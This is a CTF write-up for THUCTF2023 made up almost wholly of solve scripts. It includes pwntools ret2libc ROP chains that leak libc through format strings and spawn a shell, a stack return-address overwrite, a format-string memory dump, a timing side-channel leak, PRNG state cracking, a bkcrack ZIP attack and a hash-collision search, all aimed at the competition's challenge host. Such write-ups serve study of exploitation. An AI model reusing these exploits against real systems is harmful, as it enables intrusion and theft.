THUCTF2023 WriteUp

#!/bin/bash

sleep 5

echo > flag3.log

while true; do
    xdotool key F3+i
    printf '%s %x\n' "$(date +%N)" "$(xsel -b -o | sed -E 's/.*power=([0-9]+).*/\1/g')" >> flag3.log
done

import codecs
from rapidfuzz import fuzz

result = []

with open('flag3.log') as log:
    lasttime = -1
    last = ''
    total_delta = 0
    for line in log:
        time, x = line.split()
        time = int(time)
        delta = 0 if lasttime == -1 else time - lasttime
        if delta < 0:
            delta += 1000000000
        lasttime = time
        total_delta += delta
        if x != last:
            result.append(x)
            last = x
        elif len(result) + 0.5 < total_delta / 200000000:
            result.append(x)

hex = ''.join(result)

png_header_pos = []
i = 0
while True:
    if fuzz.ratio(hex[i:i+8], '89504e47') > 80 and fuzz.ratio(hex[i:i+8], '89504e47') >= fuzz.ratio(hex[i+1:i+9], '89504e47'):
        print(str(i).rjust(5), hex[i:i+160])
        png_header_pos.append(i)
        i += 100
    i += 1
    if i > len(hex) - 10:
        break

png_header_pos = png_header_pos[0:-1]

fixed_hex = []

for i in range(0, 4200):
    options = []
    for pos in png_header_pos:
        options.append(hex[pos + i])
    fixed_hex.append(max(set(options), key=options.count))

fixed_hex = ''.join(fixed_hex).split('ae426082')[0] + 'ae426082'
png = codecs.decode(fixed_hex, 'hex')
open('flag3.png', 'wb').write(png)

#include <zlib.h>

#include <cassert>
#include <cstdio>
#include <cstdlib>
#include <cstring>

using namespace std;

const int CHUNK = 1 << 28;

unsigned char in[CHUNK], out[CHUNK];

int main()
{
    auto *s = new z_stream;
    s->zalloc = Z_NULL;
    s->zfree = Z_NULL;
    s->opaque = Z_NULL;
    s->avail_in = 0;
    s->next_in = Z_NULL;
    inflateInit2(s, -15);

    FILE *input = fopen("gzip-flag1-2.gz", "rb");
    fseek(input, 10, SEEK_SET);
    s->avail_in = fread(in, 1, CHUNK, input);
    fclose(input);
    s->next_in = in;

    z_stream foo;
    foo.next_in = Z_NULL;

    for (int round = 0; round < 2; ++round)
    {
        unsigned int commonHead = -1;

        for (int t = 0;; ++t)
        {
            s->avail_out = CHUNK;
            s->next_out = out;
            const int ret = inflate(s, Z_BLOCK);

            if (ret == Z_STREAM_END)
                break;

            if (ret != Z_OK)
                printf("%d %d\n", t, ret);
            assert(ret == Z_OK);

            const int unused_bits = s->data_type & 7;
            unsigned int head = s->next_in[-1] >> (8 - unused_bits);
            unsigned char *nxt = s->next_in;
            for (int i = 0; i < 4; ++i)
                head |= nxt[i] << (i * 8 + unused_bits);
            if (commonHead == -1)
                commonHead = head;
            else if (head != commonHead)
            {
                s->avail_out = CHUNK;
                s->next_out = out;
                assert(inflate(s, Z_BLOCK) == Z_OK);
                printf("different head: %d %x %x\n", t, head, commonHead);
                break;
            }

            if (unused_bits == 0 && foo.next_in == Z_NULL)
                inflateCopy(&foo, s);
        }

        int len;

        len = CHUNK - s->avail_out;
        memcpy(in, out, len);

        FILE *output = fopen("output", "wb");
        fwrite(out, 1, len, output);
        fclose(output);

        int start = 0;

        for (int offset = 0; offset < 8; ++offset)
        {
            for (int j = 0; j < 8000 && j < len; ++j)
            {
                if (j % 1000 == 0)
                    printf("finding start: %d %d\n", offset, j);
                inflateEnd(s);
                delete s;
                s = new z_stream;
                inflateCopy(s, &foo);
                s->next_in = in + j;
                s->avail_in = len - j;
                s->avail_out = CHUNK;
                s->next_out = out;
                if (inflate(s, Z_BLOCK) != Z_OK)
                    continue;
                if (CHUNK - s->avail_out < 10000)
                    continue;
                s->avail_out = CHUNK;
                s->next_out = out;
                if (inflate(s, Z_BLOCK) != Z_OK)
                    continue;
                if (CHUNK - s->avail_out < 10000)
                    continue;
                printf("start: %d %d %d %llx\n", j, CHUNK - s->avail_out, offset,
                       *(unsigned long long *)out);
                start = j;
                break;
            }
            if (start)
                break;
            for (int i = 0; i < len; ++i)
                in[i] = (in[i] >> 1) | ((in[i + 1] & 1) << 7);
        }

        if (start == 0)
            exit(1);

        inflateEnd(s);
        inflateCopy(s, &foo);
        s->next_in = in + start;
        s->avail_in = len - start;
    }
}

from pwn import *
import re

count = 0
max_sanity = 0

while True:
    sh = remote('chal.thuctf.redbud.info', 50630)
    sh.sendlineafter(b'[...]:', b'newgame')
    sh.sendlineafter(b'[...]:', b'ouuan')
    sh.sendlineafter(b'(y/n)', b'y')
    sh.sendlineafter(b'[ouuan]:', b'h')
    sh.sendlineafter(b'[ouuan]:', b'h')
    sh.sendlineafter(b'[ouuan]:', b'h')
    sh.recvuntil(b'Sanity:')
    sanity_line = sh.recvline().decode()
    sanity = int(re.findall(r'\d+', sanity_line)[0])
    count += 1
    max_sanity = max(max_sanity, sanity)
    print(sanity, max_sanity, count)
    if sanity < 120:
        sh.close()
        continue
    commands = '''n
n
e
pickup key
w
s
s
e
e
e
pickup trinket
use trinket
w
s
usewith key door
s
s
n
w
w
w
n
pickup key
s
e
e
e
n
n
w
w
n
n
w
w
usewith key door
n'''.split('\n')
    for c in commands:
        print(sh.recvuntil(b'[ouuan]:').decode())
        print(c)
        sh.sendline(c.encode())
    sh.interactive()
    break

    248:   while flag_number:
    249:      choice = int(self.recv(b"Guess my public key (give me a number): ").decode())
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    250:      if flag_number & 1:
    251:          p = getStrongPrime(2048)
    252:          q = getStrongPrime(2048)
    253:      flag_number >> 1

from pwn import *
import time

sh = remote('chal.thuctf.redbud.info', 52124)
sh.sendlineafter(b'[...]:', b'newgame')
sh.sendlineafter(b'[...]:', b'ouuan')
sh.sendlineafter(b'(y/n)', b'y')

commands = '''n
n
w
w
s
getflag'''.split('\n')

for c in commands:
    print(sh.recvuntil(b'[ouuan]:').decode())
    print(c)
    sh.sendline(c.encode())

result = ""
current = 0
bit = 0

while True:
    sh.sendlineafter(b"number): ", b"1")
    start = time.time()
    sh.recvline()
    end = time.time()
    if end - start > 0.5:
        current = current + (1 << bit)
    if bit == 7:
        result = chr(current) + result
        print(result)
        if result.startswith("HUCTF{"):
            break
        current = 0
        bit = 0
    else:
        bit += 1

sh.interactive()

bkcrack -C bkcrack_level2.zip -c flag.pcapng -P level2-known-plain.zip -p signature.pcapng -x 6 00004d3c2b1a01000000ffffffffffffffff

import re
import string
import random
from base64 import b64decode

plaintext  = "You are right, but The Legend of Zelda is an action-adventure game franchise created by the Japanese game designers Shigeru Miyamoto and Takashi Tezuka. It is primarily developed and published by Nintendo, although some portable installments and re-releases have been outsourced to Flagship, Vanpool, and Grezzo. The gameplay incorporates action-adventure and elements of action RPG games. THUCTF{cryptography_is_interesting} VEhVQ1RGe A"
ciphertext = "Xzi rmc mbdga, nia Agc Qcdcjy zl Ocqyr bw rj rpabzj-rytcjaimc drsc lmrjpgbwc pmcracy nx agc Erurjcwc drsc ycwbdjcmw Wgbdcmi Sbxrszaz rjy Arkrwgb Acoikr. Ba bw umbsrmbqx yctcqzucy rjy uinqbwgcy nx Jbjacjyz, rqagzidg wzsc uzmarnqc bjwarqqscjaw rjy mc-mcqcrwcw grtc nccj ziawzimpcy az Lqrdwgbu, Trjuzzq, rjy Dmcooz. Agc drscuqrx bjpzmuzmracw rpabzj-rytcjaimc rjy cqcscjaw zl rpabzj MUD drscw. AGIPAL{pmxuazdmrugx_bw_bjacmcwabjd} TCgTV1MDc R"
encoded = "TCgTV1MDc0qlSAN1S182XHSoXeM9"
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

while True:
    d = {}
    revd = {}
    unused = set(table[:52])

    for i in range(len(ciphertext)):
        if plaintext[i] in string.ascii_letters:
            d[plaintext[i]] = ciphertext[i]
            revd[ciphertext[i]] = plaintext[i]
            if ciphertext[i] in unused:
                unused.remove(ciphertext[i])

    new_table = {}
    r = [i for i in range(52)]
    random.shuffle(r)
    for i in r:
        if table[i] in d:
            new_table[i] = d[table[i]]
        else:
            new_table[i] = unused.pop()
            revd[new_table[i]] = table[i]

    new_table = [new_table[i] for i in range(52)]
    new_table = "".join(new_table) + table[52:]

    encoded_decrypted = "".join([revd[x] if x in revd else x for x in encoded])
    try:
        flag = b64decode(encoded_decrypted).decode()
    except:
        continue
    if re.match('THUCTF\\{[a-zA-Z0-9_]*\\}', flag):
        print(flag, new_table)

from pwn import *
from randcrack import RandCrack

# sh = process(['python', 'cookie.py'])
sh = remote('chal.thuctf.redbud.info', 50294)
sh.sendline(b'1')

sh.recvuntil(b'void*\n')
b = bytes.fromhex(sh.recvline().strip().decode())

rc = RandCrack()

for i in range(0, 624 * 4, 4):
    rc.submit(int.from_bytes(b[i:i+4], 'little'))

for i in range(624 * 4, len(b), 4):
    x = rc.predict_getrandbits(32)
    print(bytes([p ^ q for p, q in zip(b[i:i+4], x.to_bytes(4, 'little'))]).decode(), end='')

from pwn import *
from randcrack import RandCrack

# sh = process(['python', 'cookie.py'])
sh = remote('chal.thuctf.redbud.info', 50842)
sh.sendline(b'2')

sh.recvuntil(b'<')
seed = sh.recvuntil(b'>')[:-1]
sh.sendlineafter(b'>', seed * 2)

sh.recvuntil(b'void*\n')
b = bytes.fromhex(sh.recvline().strip().decode())

rc = RandCrack()

for i in range(0, 624 * 4, 4):
    rc.submit(int.from_bytes(b[i:i+4], 'little'))

for i in range(624 * 4, len(b), 4):
    x = rc.predict_getrandbits(32)
    print(bytes([p ^ q for p, q in zip(b[i:i+4], x.to_bytes(4, 'little'))]).decode(), end='')

from pwn import *

# sh = process(['python', 'cookie.py'])
sh = remote('chal.thuctf.redbud.info', 50846)
sh.sendline(b'3')
sh.recvuntil(b'<')
curse = sh.recvuntil(b'>').split(b',')[0]
sh.sendlineafter(b'>', curse)
print(sh.recvall())

from hashlib import sha256

PREFIX = b"CryptoUserInfo"
def get_token(byte: bytes):
    return sha256(PREFIX + byte).digest()[-7:]

tokens = {}

for i in range(1000000000):
    token = get_token(str(i).encode())
    if token in tokens:
        print(i, tokens[token], token.hex())
        break
    tokens[token] = i

void get_line(long param_1, int param_2)
{
    char *__buf;
    uint uVar1;

    uVar1 = 0;
    while (true)
    {
        if (param_2 - 1U <= uVar1)
        {
            return;
        }
        __buf = (char *)((ulong)uVar1 + param_1);
        read(0, __buf, 1);
        if (*__buf == '\n')
            break;
        uVar1 = uVar1 + 1;
    }
    *__buf = '\0';
    return;
}

from pwn import *

# sh = process('./babystack')
sh = remote('chal.thuctf.redbud.info', 50395)
sh.sendlineafter(b'included!)', b'0')
payload = p64(0x4011be) * 0x10
sh.sendlineafter(b'string:', payload)
sh.interactive()

from pwn import *

binsh = 0x1d8698
system = 0x508f2
poprdi = 0x2a3e5
offset = -0x29d90

# sh = process(['./ld-linux-x86-64.so.2', './childrenstack'], env={"LD_PRELOAD": "./libc.so.6"})
sh = remote('chal.thuctf.redbud.info', 52087)
sh.sendlineafter(b"(less than 0x20 characters)", b"%25$p")
sh.recvuntil(b"flag:")
libc = int(sh.recvuntil(b"What will you do").decode().split("What will you do")[0].strip(), 16) + offset
sh.sendlineafter(b"capture it?:", b'a' * 0x78 + p64(libc + poprdi) + p64(libc + binsh) + p64(libc + system))
sh.interactive()

from pwn import *

binsh = 0x1d8698
system = 0x508f2
poprdi = 0x2a3e5
offset = -0x29d90

# sh = process(['./ld-linux-x86-64.so.2', './teenagerstack'], env={"LD_PRELOAD": "./libc.so.6"})
sh = remote('chal.thuctf.redbud.info', 52251)
sh.sendlineafter(b"(less than 0x20 characters)", b"%21$p")
sh.recvuntil(b"flag:")
start = int(sh.recvline().decode().strip(), 16) + offset
sh.sendlineafter(b"capture it?:", b'a' * 0x78 + p64(start + poprdi) + p64(start + binsh) + p64(start + system))
sh.sendlineafter(b"again? :", b"a")
sh.interactive()

from pwn import *

# sh = process('./pwn')
sh = remote('chal.thuctf.redbud.info', 50296)

for i in range(10, 50):
    sh.sendlineafter(b'instruction:', f'llx:%{i}$llx'.encode())
    sh.recvuntil(b'llx:')
    line = sh.recvline().strip()
    if len(line) % 2 == 1:
        line = b'0' + line
    line = bytes.fromhex(line.decode())
    print(i, line[::-1]) # convert endian

function f(a: flag1): null {
  return a;
}

function f(c: flag2) {
  if (!('prototype' in c)) return;
  const v = (new c()).v();

  v(
(
    a: any, b: any): null => {
      return null;
  });
}